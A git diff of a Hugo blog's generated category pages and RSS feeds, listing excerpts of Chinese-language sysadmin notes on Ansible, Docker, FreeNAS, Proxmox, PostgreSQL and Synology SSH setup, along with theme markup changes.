Jun 2019 11:03:12 +0800 + + https://h.cowbay.org/post/remote-management-system-meshcentral/ + <p>之前在LAN/windows環境下,一直都是用ultravnc/winvnc/tigervnc之類的VNC軟體</p> + +<p>但是如果要過 internet ,就會碰到各種開port的問題</p> + +<p>在這種環境下,就有了當時 teamviewer 的橫空出世</p> + +<p>解決了開PORT的問題,讓被控端(通常是資訊技術相對弱勢,需要接受幫助的一方)不需要懂太多</p> + +<p>只要下載teamviewer被控端,開啟後報ID 給協助者就好了</p> + + [筆記] 修改 docker 容器內的時區 - Change Timezone in Docker + https://h.cowbay.org/post/change-timezone-in-docker/ + Tue, 21 May 2019 17:25:15 +0800 + + https://h.cowbay.org/post/change-timezone-in-docker/ + <p>最近一直在玩一些docker,不過老是會碰到歪果扔寫的東西,時區都不一致</p> + +<p>有的用 UTC,有的用localtime,就是沒碰到用 Asia/Taipei 的&hellip;.</p> + + [筆記] inxi 蒐集詳盡的硬體資訊 / inxi Collect Detail Hardware Info + https://h.cowbay.org/post/inx-collect-detail-hardware-info/ + Tue, 23 Apr 2019 15:28:56 +0800 + + https://h.cowbay.org/post/inx-collect-detail-hardware-info/ + <p>最近因為一直碰到硬碟故障的問題,算起來那一批同時購買的5X顆 seagate 2T硬碟,已經有一半以上故障返修了&hellip;.</p> + +<p>然後又因為一直沒有添購新的硬碟,只能用這些快過保/已過保的撐著</p> + +<p>所以最近不斷的在更換機器內的硬碟,而且還沒有熱插拔!</p> + +<p>也導致原本負責處理盤點資產的同事困擾,因為跟手邊的紀錄已經對不起來了</p> + +<p>然後就變成要對資產的時候,需要一台一台登入,然後去下不同的指令,取得想要的硬體資訊,超級麻煩的!</p> + + [筆記] 紀錄所有下過的指令、時間 / Log All commands with timestamp + https://h.cowbay.org/post/log-all-bash-commands/ + Tue, 23 Apr 2019 15:08:36 +0800 + + https://h.cowbay.org/post/log-all-bash-commands/ + <p>今天發生一件有點詭異的事情,本來應該要經過某個指令才會產生的檔案</p> + +<p>居然不知為何自己產生了,在我記憶中沒有去執行過那個指令</p> + +<p>翻了一下 bash_history ,裡面也只有下過哪些指令,沒有紀錄時間,完全沒有參考價值(攤手)</p> + +<p>所以翻了一下網路,至少把這兩台主要跑ansible的機器的log功能補上紀錄所有指令以及時間的部份</p> + + [筆記] 解決無法建立zpool 的錯誤 / Fix Zpool Device Busy Using dmsetup + https://h.cowbay.org/post/fix-zpool-device-busy-using-dmsetup/ + Mon, 01 Apr 2019 15:56:27 +0800 + + https://h.cowbay.org/post/fix-zpool-device-busy-using-dmsetup/ + <p>今天把其中一台proxmox 加上10G 光纖網卡,準備和另一台proxmox 組成10G 環境進行測試</p> + +<p>想說把本機的zpool 拆掉,重新建立一個raid0 的空間來做clone/migrate</p> + +<p>可是一直出現device busy的錯誤訊息</p> + + [筆記] 用rsync 移轉 centos 6.2的老機器 Transfer Cent6.2 using rsync + https://h.cowbay.org/post/transfer-cent62-using-rsync/ + Wed, 27 Mar 2019 17:44:49 +0800 + + https://h.cowbay.org/post/transfer-cent62-using-rsync/ + <p>公司的一台老伺服器空間不足了,要執行指令都會中斷,所以想要擴充空間。</p> + +<p>看起來不難搞,事實上&hellip;..</p> + + Install Timeshift on Ubuntu1804 + https://h.cowbay.org/post/install-timeshift-on-ubuntu1804/ + Mon, 11 Mar 2019 14:02:30 +0800 + + https://h.cowbay.org/post/install-timeshift-on-ubuntu1804/ + <p>最近要開始測試client安裝 ubuntu 18.04 的 ansible playbook</p> + +<p>因為要不斷的修正,所以想到一直有在自己電腦上執行的timeshift這個軟體</p> + +<p>可以很簡單快速的備份、恢復系統狀態</p> + +<p>可是不知道為什麼,在ubuntu 18.04 上安裝就是會發生錯誤&hellip;.</p> + + 用DELL 6 i/R 建立RAID,並在上面安裝ubuntu 18.04 + https://h.cowbay.org/post/install-ubuntu1804-on-dell-6ir-raid-controller/ + Wed, 16 Jan 2019 16:17:05 +0800 + + https://h.cowbay.org/post/install-ubuntu1804-on-dell-6ir-raid-controller/ + <p>買了一張 DELL 6/iR 低階的raid 卡</p> + +<p>來測試把系統裝在硬體做的RAID上,結果沒想到居然不能開機&hellip;</p> + + Ubuntu 1804 Install Root on Raid + https://h.cowbay.org/post/ubuntu-1804-install-root-on-raid/ + Wed, 16 Jan 2019 09:58:50 +0800 + + https://h.cowbay.org/post/ubuntu-1804-install-root-on-raid/ + <p>最近在弄一台機器,想要把ubuntu 18.04 安裝在software raid上</p> + +<p>因為新開的機器大部分都是在proxmox上,所以很少碰實體機器了</p> + +<p>結果在安裝過程中,做raid碰到一些問題,來紀錄一下</p> + + + \ No newline at end of file diff --git a/public/categories/筆記/page/3/index.html b/public/categories/筆記/page/3/index.html index a230ddff..a3b7fff1 100644 --- a/public/categories/筆記/page/3/index.html +++ b/public/categories/筆記/page/3/index.html @@ -1,295 +1,85 @@ - - - - - - - - - - - 筆記 | MCの飄狂山莊㊣ - - - - - - - - - - - - - - + + + + + + + + 筆記 | MCの飄狂山莊㊣ + + + + + + + + + - - - - - - - - - - - - - - - - - - - -
-
- -
-

MCの飄狂山莊㊣

- - What’s the Worst That Could Happen? - -
- - - - -
- - -
-
+ + +
+ +
- - -
- - - -
- - - - - -
- - - - -
-

[筆記] Freenas Smartd 啟動失敗 Smartd Failed to Start in Freenas

-
- - - 2018-12-13 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

這兩天在弄兩台Freenas ,準備當作Proxmox 的Storage & Server Backup

+
+ +
+
+

筆記

+ +
+
+ +
+
+

Ubuntu 1804 Install Root on Raid

+

最近在弄一台機器,想要把ubuntu 18.04 安裝在software raid上

+ +

因為新開的機器大部分都是在proxmox上,所以很少碰實體機器了

+ +

結果在安裝過程中,做raid碰到一些問題,來紀錄一下

+
+
+ +
+
+

[筆記] Freenas Smartd 啟動失敗 Smartd Failed to Start in Freenas

+

這兩天在弄兩台Freenas ,準備當作Proxmox 的Storage & Server Backup

因為伺服器的限制,只能接六個SATA,我接了六個2T的硬碟做raid10

然後把Freenas 安裝在隨身碟上

-

不過會一直出現Smartd failed to start 的錯誤訊息

- -

- - - - - -
- - - - +

不過會一直出現Smartd failed to start 的錯誤訊息

- - -
- -
- - - - - -
- - - - -
-

[筆記] 建立一個帶著走的 VIM 環境 Creating portable Vim environment

-
- - - 2018-12-07 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

因為工作的關係,現在很多時間都花在VIM的操作上

+
+ +
+
+

[筆記] 建立一個帶著走的 VIM 環境 Creating portable Vim environment

+

因為工作的關係,現在很多時間都花在VIM的操作上

所以之前花了滿多時間,調整出一個適合自己的VIM環境

原本的作法是把這個設定好的環境,丟到自己建立的gitea 上面

-

然後每到一台新的機器,就要去clone 下來

- -

- - - - - -
- - - - +

然後每到一台新的機器,就要去clone 下來

- - -
- -
- - - - - -
- - - - -
-

[筆記] 用 proxmox & Mellanox SFP 網卡土炮 10G LAB

-
- - - 2018-11-30 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

想做一個 10G 的 LAB 環境出來已經很久了。

+
+ +
+
+

[筆記] 用 proxmox & Mellanox SFP 網卡土炮 10G LAB

+

想做一個 10G 的 LAB 環境出來已經很久了。

只是礙於10G RJ45的卡太貴了,然後光纖的種類又太複雜

@@ -305,161 +95,25 @@

就是到貨有點久,等了兩個禮拜左右,一直到昨天東西才寄到

-

今天就花了點時間測試一下

- -

- - - - - -
- - - - +

今天就花了點時間測試一下

- - -
- -
- - - - - - - - -
- -
- - - - - - - - -
- -
- - - - - -
- - - - -
-

[筆記] 為了metabase 修改 firefox 開啟網頁時使用的預設語言 change the preferred language in firefox for metabase

-
- - - 2018-11-15 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

最近在測試metabase,記得幾個月前就有測試過

+
+ +
+
+

[筆記] 為了metabase 修改 firefox 開啟網頁時使用的預設語言 change the preferred language in firefox for metabase

+

最近在測試metabase,記得幾個月前就有測試過

但是當時的界面和現在的樣子差很多,看樣子改版還滿勤勞的

所以這次改用docker來建立,根本五分鐘不到就建好了(挖鼻孔)

-

不過呢,很討厭的是,一進去就發現語系採用的是簡體中文

- -

- - - - - -
- - - - +

不過呢,很討厭的是,一進去就發現語系採用的是簡體中文

- - -
- -
- - - - - -
- - - - -
-

PostgreSQL 直接從已經存在的使用者複製權限到另一個使用者

-
- - - 2018-11-12 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

因為工作上的需求,有個資料庫需要開放給不同team的人去存取

+
+ +
+
+

PostgreSQL 直接從已經存在的使用者複製權限到另一個使用者

+

因為工作上的需求,有個資料庫需要開放給不同team的人去存取

雖然都是在同一台機器上的同一個資料庫

但是希望能夠不同team的人用不同的資料庫使用者

-

這樣萬一出事,會比較好抓兇手??

- -

- - - - - -
- - - - +

這樣萬一出事,會比較好抓兇手??

- - -
- -
- - - - - -
- - - - -
-

[筆記] 詭異的client&server間連線的問題,或許跟KVM有關係?

-
- - - 2018-11-08 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

這是發生在一個夜黑風高的寂寥深夜….. ( What The FXXX … )

+
+ +
+
+

[筆記] 詭異的client&server間連線的問題,或許跟KVM有關係?

+

這是發生在一個夜黑風高的寂寥深夜….. ( What The FXXX … )

來到這個環境之後,有一個很詭異的狀況一直困擾著我

@@ -753,440 +201,39 @@

用途包含了DHCP Server / Proxy Server (squid3) / APT Proxy (squid-deb-proxy)

-

問題就發生在這台 Build Server 上…

- -

- - - - - -
- - - - +

問題就發生在這台 Build Server 上…

- - -
- -
- - - - - -
- - - - -
-

Nice Du Report Tool Durep

-
- - - 2018-11-06 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

最近在重新規劃前人留下的backup爛攤子 +

+ +
+
+

Nice Du Report Tool Durep

+

最近在重新規劃前人留下的backup爛攤子 各個伺服器統一備份到一台backup storage 想說如果每天能夠看到backup storage的磁碟用量的話 就可以抓出備份空間成長速度、推估需要多大的磁碟空間 找了一些工具,結果發現 durep 這個 ubuntu 內建的工具 -基本上可以滿足我的需求

- - - - - -
- - - - +基本上可以滿足我的需求

- - -
- -
- - - - - -
- - - - -
-

Bookstack Docker

-
- - - 2018-11-06 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

Bookstack 是一套非常好用的線上”筆記”系統

- -

他用圖書館/書本的概念,讓使用者可以建立自己的”圖書館”

- -

同時在圖書館內建立不同的”書籍”

- -

而且支援 Markdown 語法

- -

其他的方式像是在nextcloud上編輯 md檔案(字體太小)

- -

或者是boostnote(只能在本機)

- -

都或多或少有點小缺點

- -

Bookstack則是沒有這些問題,不過就是系統「大」了點…

- -

不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)

- -

- - - - - -
- - - + +
+ + + - - - -
- - - -
- - - - - - - -
- - - - - - -
- + +
+
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + \ No newline at end of file diff --git a/public/categories/筆記/page/3/index.xml b/public/categories/筆記/page/3/index.xml new file mode 100644 index 00000000..8b6ae549 --- /dev/null +++ b/public/categories/筆記/page/3/index.xml @@ -0,0 +1,203 @@ + + + 筆記 - MCの飄狂山莊㊣ + https://h.cowbay.org/categories/%E7%AD%86%E8%A8%98/ + Recent content in 筆記 on MCの飄狂山莊㊣ + Hugo -- gohugo.io + Fri, 20 Sep 2019 10:17:17 +0800 + + + + + [筆記] Freenas Smartd 啟動失敗 Smartd Failed to Start in Freenas + https://h.cowbay.org/post/smartd-failed-to-start-in-freenas/ + Thu, 13 Dec 2018 17:40:20 +0800 + + https://h.cowbay.org/post/smartd-failed-to-start-in-freenas/ + <p>這兩天在弄兩台Freenas ,準備當作Proxmox 的Storage &amp; Server Backup</p> + +<p>因為伺服器的限制,只能接六個SATA,我接了六個2T的硬碟做raid10</p> + +<p>然後把Freenas 安裝在隨身碟上</p> + +<p>不過會一直出現Smartd failed to start 的錯誤訊息</p> + + [筆記] 建立一個帶著走的 VIM 環境 Creating portable Vim environment + https://h.cowbay.org/post/create-portable-vim-environment/ + Fri, 07 Dec 2018 15:19:47 +0800 + + https://h.cowbay.org/post/create-portable-vim-environment/ + <p>因為工作的關係,現在很多時間都花在VIM的操作上</p> + +<p>所以之前花了滿多時間,調整出一個適合自己的VIM環境</p> + +<p>原本的作法是把這個設定好的環境,丟到自己建立的gitea 上面</p> + +<p>然後每到一台新的機器,就要去clone 下來</p> + + [筆記] 用 proxmox & Mellanox SFP 網卡土炮 10G LAB + https://h.cowbay.org/post/10g-lab-using-proxmox-and-mellanox/ + Fri, 30 Nov 2018 16:05:14 +0800 + + https://h.cowbay.org/post/10g-lab-using-proxmox-and-mellanox/ + <p>想做一個 10G 的 LAB 環境出來已經很久了。</p> + +<p>只是礙於10G RJ45的卡太貴了,然後光纖的種類又太複雜</p> + +<p>如果直接在淘寶購買,很怕會買錯(什麼LC/FC LC/LC 多模單模 單芯雙芯 SFP/SFP+ 又是什麼光模塊的一大堆規格)</p> + +<p>所以一直沒有付諸行動。</p> + +<p>硬體的工作很久沒碰了,剛好在蝦皮看到有個賣家在賣 mellanox 的X2網卡,以在台灣的價格來說,算很便宜的 (550)</p> + +<p>聊了一下,跟他請教了關於線材、光纖模塊的問題,回答也都很快很到位</p> + +<p>就直接下訂了兩張網卡、兩個光纖模塊、一條LC/LC 光纖線</p> + +<p>就是到貨有點久,等了兩個禮拜左右,一直到昨天東西才寄到</p> + +<p>今天就花了點時間測試一下</p> + + [筆記] 還是 Ansible Selectattr + https://h.cowbay.org/post/ansible-selectattr-filter/ + Thu, 29 Nov 2018 11:22:28 +0800 + + https://h.cowbay.org/post/ansible-selectattr-filter/ + <p>在上一篇 <a href="https://h.cowbay.org/post/ansible-selectattr/">Ansible how to use &lsquo;list&rsquo; in yaml file </a></p> + +<p>有提到怎麼用 with_items / set_fact 來取得在yaml 檔案中的清單</p> + +<p>不過就是有點醜</p> + + [筆記] Ansible how to use 'list' in yaml file + https://h.cowbay.org/post/ansible-selectattr/ + Tue, 27 Nov 2018 16:50:53 +0800 + + https://h.cowbay.org/post/ansible-selectattr/ + <p>這幾天在玩ansible 時,碰到一個問題</p> + +<p>假如我有個yaml檔作為資料來源,檔名是 abc.yml</p> + +<p>大概長這樣</p> + +<pre><code> &quot;teams&quot;: [ + { + &quot;chinese_name&quot;: &quot;TEAM1&quot;, + &quot;description&quot;: &quot;TEAM1&quot;, + &quot;gid&quot;: 10125, + &quot;location&quot;: [ + &quot;hq&quot; + ], + &quot;name&quot;: &quot;aa&quot;, + &quot;users&quot;: [ + &quot;chen&quot;, + &quot;chou&quot;, + &quot;huani&quot;, + &quot;yey&quot;, + &quot;wa&quot; + ] + }, + { + &quot;chinese_name&quot;: &quot;TEAM2&quot;, + &quot;description&quot;: &quot;TEAM2&quot;, + &quot;gid&quot;: 10126, + &quot;location&quot;: [ + &quot;hq&quot; + ], + &quot;name&quot;: &quot;bb&quot;, + &quot;users&quot;: [ + &quot;chhiao&quot;, + &quot;chgc&quot;, + &quot;chy&quot;, + &quot;hsi&quot;, + &quot;li&quot;, + &quot;li&quot;, + &quot;chgchi&quot; + ] + } + ] + +</code></pre> + + [筆記] 為了metabase 修改 firefox 開啟網頁時使用的預設語言 change the preferred language in firefox for metabase + https://h.cowbay.org/post/change-preferred-language-in-firefox/ + Thu, 15 Nov 2018 11:06:28 +0800 + + https://h.cowbay.org/post/change-preferred-language-in-firefox/ + <p>最近在測試metabase,記得幾個月前就有測試過</p> + +<p>但是當時的界面和現在的樣子差很多,看樣子改版還滿勤勞的</p> + +<p>所以這次改用docker來建立,根本五分鐘不到就建好了(挖鼻孔)</p> + +<p>不過呢,很討厭的是,一進去就發現語系採用的是簡體中文</p> + + PostgreSQL 直接從已經存在的使用者複製權限到另一個使用者 + https://h.cowbay.org/post/copy_role_in_pgsql/ + Mon, 12 Nov 2018 09:48:12 +0800 + + https://h.cowbay.org/post/copy_role_in_pgsql/ + <p>因為工作上的需求,有個資料庫需要開放給不同team的人去存取</p> + +<p>雖然都是在同一台機器上的同一個資料庫</p> + +<p>但是希望能夠不同team的人用不同的資料庫使用者</p> + +<p>這樣萬一出事,會比較好抓兇手??</p> + + [筆記] 詭異的client&server間連線的問題,或許跟KVM有關係? + https://h.cowbay.org/post/weird-client-server-connection/ + Thu, 08 Nov 2018 18:01:23 +0800 + + https://h.cowbay.org/post/weird-client-server-connection/ + <p>這是發生在一個夜黑風高的寂寥深夜&hellip;.. ( What The FXXX &hellip; )</p> + +<p>來到這個環境之後,有一個很詭異的狀況一直困擾著我</p> + +<p>在每個分公司,都會有一台伺服器作為KVM Host</p> + +<p>上面跑兩台VM,一台作為ansible controller (目前沒作用)</p> + +<p>另一台作為這邊所謂的 &ldquo;Build Server&rdquo;</p> + +<p>用途包含了DHCP Server / Proxy Server (squid3) / APT Proxy (squid-deb-proxy)</p> + +<p>問題就發生在這台 Build Server 上&hellip;</p> + + Nice Du Report Tool Durep + https://h.cowbay.org/post/nice-du-report-tool-durep/ + Tue, 06 Nov 2018 15:24:29 +0800 + + https://h.cowbay.org/post/nice-du-report-tool-durep/ + <p>最近在重新規劃前人留下的backup爛攤子 +各個伺服器統一備份到一台backup storage +想說如果每天能夠看到backup storage的磁碟用量的話 +就可以抓出備份空間成長速度、推估需要多大的磁碟空間 +找了一些工具,結果發現 durep 這個 ubuntu 內建的工具 +基本上可以滿足我的需求</p> + + Bookstack Docker + https://h.cowbay.org/post/bookstack-docker/ + Tue, 06 Nov 2018 14:57:14 +0800 + + https://h.cowbay.org/post/bookstack-docker/ + <p>Bookstack 是一套非常好用的線上&rdquo;筆記&rdquo;系統</p> + +<p>他用圖書館/書本的概念,讓使用者可以建立自己的&rdquo;圖書館&rdquo;</p> + +<p>同時在圖書館內建立不同的&rdquo;書籍&rdquo;</p> + +<p>而且支援 Markdown 語法</p> + +<p>其他的方式像是在nextcloud上編輯 md檔案(字體太小)</p> + +<p>或者是boostnote(只能在本機)</p> + +<p>都或多或少有點小缺點</p> + +<p>Bookstack則是沒有這些問題,不過就是系統「大」了點&hellip;</p> + +<p>不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)</p> + + + \ No newline at end of file diff --git a/public/categories/筆記/page/4/index.html b/public/categories/筆記/page/4/index.html index 0736a47c..8fac6f38 100644 --- a/public/categories/筆記/page/4/index.html +++ b/public/categories/筆記/page/4/index.html @@ -1,137 +1,71 @@ - - - - - - - - - - - 筆記 | MCの飄狂山莊㊣ - - - - - - - - - - - - - - + + + + + + + + 筆記 | MCの飄狂山莊㊣ + + + + + + + + + - - - - - - - - - - - - - - - - - - - -
-
- -
-

MCの飄狂山莊㊣

- - What’s the Worst That Could Happen? - -
- - - - -
- - -
-
+ + +
+ +
+
+ +
+
+

筆記

+ +
+
+ +
+
+

Bookstack Docker

+

Bookstack 是一套非常好用的線上”筆記”系統

+

他用圖書館/書本的概念,讓使用者可以建立自己的”圖書館”

-
- - - -
- - - - - -
- - +

同時在圖書館內建立不同的”書籍”

+

而且支援 Markdown 語法

-
-

筆記- 啟用群暉NAS (Synology NAS)的SSH Server 透過Publickey 認證免密碼登入

-
- - - 2018-11-05 - - +

其他的方式像是在nextcloud上編輯 md檔案(字體太小)

- +

或者是boostnote(只能在本機)

- - - - 筆記 - - - +

都或多或少有點小缺點

- - Eric Chang - -
+

Bookstack則是沒有這些問題,不過就是系統「大」了點…

- -

公司內有幾台NAS,其中有一台用來放開發人員的postgresql dump file +

不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)

+
+
+ +
+
+

筆記- 啟用群暉NAS (Synology NAS)的SSH Server 透過Publickey 認證免密碼登入

+

公司內有幾台NAS,其中有一台用來放開發人員的postgresql dump file 之前都是主要的開發人員上傳到google drive,分享出來 ,然後其他人去抓回來

這樣子有個問題是,當server要存取這些檔案時,就沒辦法了,除非透過一些 3rd party的軟體 @@ -144,273 +78,27 @@

https://www.maketecheasier.com/mount-google-drive-ubuntu/

但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet -所以導致明明檔案就在那邊,但是要取得就是很麻煩

- -

- - - - - -
- - - - +所以導致明明檔案就在那邊,但是要取得就是很麻煩

- - -
- - - -
- - - - - -
- - - -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + - - +
+
+ +
+ + \ No newline at end of file diff --git a/themes/public/tags/ssh/index.xml b/public/categories/筆記/page/4/index.xml similarity index 68% rename from themes/public/tags/ssh/index.xml rename to public/categories/筆記/page/4/index.xml index dfb38c7f..6f9f9208 100644 --- a/themes/public/tags/ssh/index.xml +++ b/public/categories/筆記/page/4/index.xml @@ -1,21 +1,19 @@ - - - - Ssh on MC部落 - https://h.cowbay.org/tags/ssh/ - Recent content in Ssh on MC部落 - Hugo -- gohugo.io - Mon, 05 Nov 2018 14:16:54 +0800 - - - - - - 筆記- 啟用群暉NAS (Synology NAS)的SSH Server 透過Publickey 認證免密碼登入 - https://h.cowbay.org/articles/enable-synology-public-ssh/ - Mon, 05 Nov 2018 14:16:54 +0800 - - https://h.cowbay.org/articles/enable-synology-public-ssh/ + + + 筆記 - MCの飄狂山莊㊣ + https://h.cowbay.org/categories/%E7%AD%86%E8%A8%98/ + Recent content in 筆記 on MCの飄狂山莊㊣ + Hugo -- gohugo.io + Fri, 20 Sep 2019 10:17:17 +0800 + + + + + 筆記- 啟用群暉NAS (Synology NAS)的SSH Server 透過Publickey 認證免密碼登入 + https://h.cowbay.org/post/enable-synology-public-ssh/ + Mon, 05 Nov 2018 14:16:54 +0800 + + https://h.cowbay.org/post/enable-synology-public-ssh/ <p>公司內有幾台NAS,其中有一台用來放開發人員的postgresql dump file 之前都是主要的開發人員上傳到google drive,分享出來 ,然後其他人去抓回來</p> @@ -29,10 +27,7 @@ <p><a href="https://www.maketecheasier.com/mount-google-drive-ubuntu/">https://www.maketecheasier.com/mount-google-drive-ubuntu/</a></p> <p>但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet -所以導致明明檔案就在那邊,但是要取得就是很麻煩</p> - -<p></p> - - - +所以導致明明檔案就在那邊,但是要取得就是很麻煩</p> + + \ No newline at end of file diff --git a/public/categories/筆記/page/5/index.html b/public/categories/筆記/page/5/index.html new file mode 100644 index 00000000..b1c409a4 --- /dev/null +++ b/public/categories/筆記/page/5/index.html @@ -0,0 +1,618 @@ + + + + Parsa | Personal Blog Template + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ + + +
+
+
+ + + + +
+
+
+
+

筆記

+
+
+
+
+ + + +
+
+
+
+
+ + +
+ +
+ +
+
+ post-thumb +

[筆記]

+

[筆記] Ansible how to use 'list' in yaml file

+

這幾天在玩ansible 時,碰到一個問題

+ +

假如我有個yaml檔作為資料來源,檔名是 abc.yml

+ +

大概長這樣

+ +
    "teams": [
+        {
+            "chinese_name": "TEAM1",
+            "description": "TEAM1",
+            "gid": 10125,
+            "location": [
+                "hq"
+            ],
+            "name": "aa",
+            "users": [
+                "chen",
+                "chou",
+                "huani",
+                "yey",
+                "wa"
+            ]
+        },
+        {
+            "chinese_name": "TEAM2",
+            "description": "TEAM2",
+            "gid": 10126,
+            "location": [
+                "hq"
+            ],
+            "name": "bb",
+            "users": [
+                "chhiao",
+                "chgc",
+                "chy",
+                "hsi",
+                "li",
+                "li",
+                "chgchi"
+            ]
+        }
+		]
+		
+

+ read more +
+
+ +
+ +
+ +
+ +
+ +
+
+ post-thumb +

[筆記]

+

[筆記] 詭異的client&server間連線的問題,或許跟KVM有關係?

+

這是發生在一個夜黑風高的寂寥深夜….. ( What The FXXX … )

+ +

來到這個環境之後,有一個很詭異的狀況一直困擾著我

+ +

在每個分公司,都會有一台伺服器作為KVM Host

+ +

上面跑兩台VM,一台作為ansible controller (目前沒作用)

+ +

另一台作為這邊所謂的 “Build Server”

+ +

用途包含了DHCP Server / Proxy Server (squid3) / APT Proxy (squid-deb-proxy)

+ +

問題就發生在這台 Build Server 上…

+ read more +
+
+ +
+
+ post-thumb +

[筆記]

+

Nice Du Report Tool Durep

+

最近在重新規劃前人留下的backup爛攤子 +各個伺服器統一備份到一台backup storage +想說如果每天能夠看到backup storage的磁碟用量的話 +就可以抓出備份空間成長速度、推估需要多大的磁碟空間 +找了一些工具,結果發現 durep 這個 ubuntu 內建的工具 +基本上可以滿足我的需求

+ read more +
+
+ +
+
+ +
+ + + + + + + + + + + + + +
+ +
+
+ +
+ +
+
LATEST POST
+ + + +
+
+ +
+
+
    +
  • Post By Themefisher
  • +
  • Jan 01, 0001
  • +
+
Posts
+
+
+ + + +
+ +
+
CATEGORIES
+ +
+
+
+
+
+ + +
+
+
+
+
+ Parsa | Personal Blog Template +
+
+
Address
+
    + +
  • Sydney
  • + +
  • 6 rip carl Avenue CA 90733
  • + +
+
+
+
Contact Info
+
    + +
  • Tel: +90 000 333 22
  • + +
  • Mail: exmaple@ymail.com
  • + +
+
+
+
Follow
+
    + +
  • + +
  • + +
  • + +
  • + +
+
+
+
+
+
+

Copyright © a theme by themefisher.com

+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/categories/筆記/page/6/index.html b/public/categories/筆記/page/6/index.html new file mode 100644 index 00000000..2b71a2ae --- /dev/null +++ b/public/categories/筆記/page/6/index.html @@ -0,0 +1,525 @@ + + + + Parsa | Personal Blog Template + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ + + +
+
+
+ + + + +
+
+
+
+

筆記

+
+
+
+
+ + + +
+
+
+
+
+ + +
+
+ post-thumb +

[筆記]

+

Bookstack Docker

+

Bookstack 是一套非常好用的線上”筆記”系統

+ +

他用圖書館/書本的概念,讓使用者可以建立自己的”圖書館”

+ +

同時在圖書館內建立不同的”書籍”

+ +

而且支援 Markdown 語法

+ +

其他的方式像是在nextcloud上編輯 md檔案(字體太小)

+ +

或者是boostnote(只能在本機)

+ +

都或多或少有點小缺點

+ +

Bookstack則是沒有這些問題,不過就是系統「大」了點…

+ +

不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)

+ read more +
+
+ +
+
+ post-thumb +

[筆記]

+

筆記- 啟用群暉NAS (Synology NAS)的SSH Server 透過Publickey 認證免密碼登入

+

公司內有幾台NAS,其中有一台用來放開發人員的postgresql dump file +之前都是主要的開發人員上傳到google drive,分享出來 ,然後其他人去抓回來

+ +

這樣子有個問題是,當server要存取這些檔案時,就沒辦法了,除非透過一些 3rd party的軟體 +像是這篇

+ +

https://www.omgubuntu.co.uk/2017/04/mount-google-drive-ocamlfuse-linux

+ +

或者是這篇

+ +

https://www.maketecheasier.com/mount-google-drive-ubuntu/

+ +

但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet +所以導致明明檔案就在那邊,但是要取得就是很麻煩

+ read more +
+
+ +
+
+ +
+ + + + + + + + + + + + + +
+ +
+
+ +
+ +
+
LATEST POST
+ + + +
+
+ +
+
+
    +
  • Post By Themefisher
  • +
  • Jan 01, 0001
  • +
+
Posts
+
+
+ + + +
+ +
+
CATEGORIES
+ +
+
+
+
+
+ + +
+
+
+
+
+ Parsa | Personal Blog Template +
+
+
Address
+
    + +
  • Sydney
  • + +
  • 6 rip carl Avenue CA 90733
  • + +
+
+
+
Contact Info
+
    + +
  • Tel: +90 000 333 22
  • + +
  • Mail: exmaple@ymail.com
  • + +
+
+
+
Follow
+
    + +
  • + +
  • + +
  • + +
  • + +
+
+
+
+
+
+

Copyright © a theme by themefisher.com

+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/categories/群暉/index.html b/public/categories/群暉/index.html index 2f1317ab..24cf46a0 100644 --- a/public/categories/群暉/index.html +++ b/public/categories/群暉/index.html @@ -1,137 +1,336 @@ - - - - - - - - - - - 群暉 | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + 群暉 + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ Skip to content + + +
+ +
+

+ Category: 群暉 + + + + rss + + +

+
+ +

Posts

+
+ + + + + + + + + + +
+ + + + + + + +
+
+ 04 December + + + + + + / + + + + + + + + + / + + 群暉 + + +
+ +
+
+

前幾天公司的一台 Synology DS 415+ 發生異常

注意到的時候,四顆硬碟燈號都不斷的在閃爍

@@ -147,267 +346,147 @@

不過主管還是希望能夠先問群暉維修的費用多少

-

- - - - - -
- - - +
+
+ +
+
+
+ +

What’s the Worst That Could Happen?

+ - + - - +
+ +

© 2018 Göran Svensson

+ +

Nederburg Hugo Theme by Appernetic.

+ +

A port of Tracks by Compete Themes.

+ +
+
+ + + + - - + diff --git a/public/categories/群暉/index.xml b/public/categories/群暉/index.xml index 17da9498..2ebdd328 100644 --- a/public/categories/群暉/index.xml +++ b/public/categories/群暉/index.xml @@ -1,10 +1,11 @@ - 群暉 on MCの飄狂山莊㊣ + 群暉 on MC部落 https://h.cowbay.org/categories/%E7%BE%A4%E6%9A%89/ - Recent content in 群暉 on MCの飄狂山莊㊣ + Recent content in 群暉 on MC部落 Hugo -- gohugo.io + en-us Tue, 04 Dec 2018 10:25:19 +0800 @@ -30,9 +31,7 @@ <p>一來是已經過保,二來是DS415+ 本身就有intel bug,三來是因為對synology的NAS 實在沒有愛&hellip;</p> -<p>不過主管還是希望能夠先問群暉維修的費用多少</p> - -<p></p> +<p>不過主管還是希望能夠先問群暉維修的費用多少</p> diff --git a/public/categories/群暉/page/1/index.xml/index.html b/public/categories/群暉/page/1/index.xml/index.html new file mode 100644 index 00000000..7d06731a --- /dev/null +++ b/public/categories/群暉/page/1/index.xml/index.html @@ -0,0 +1 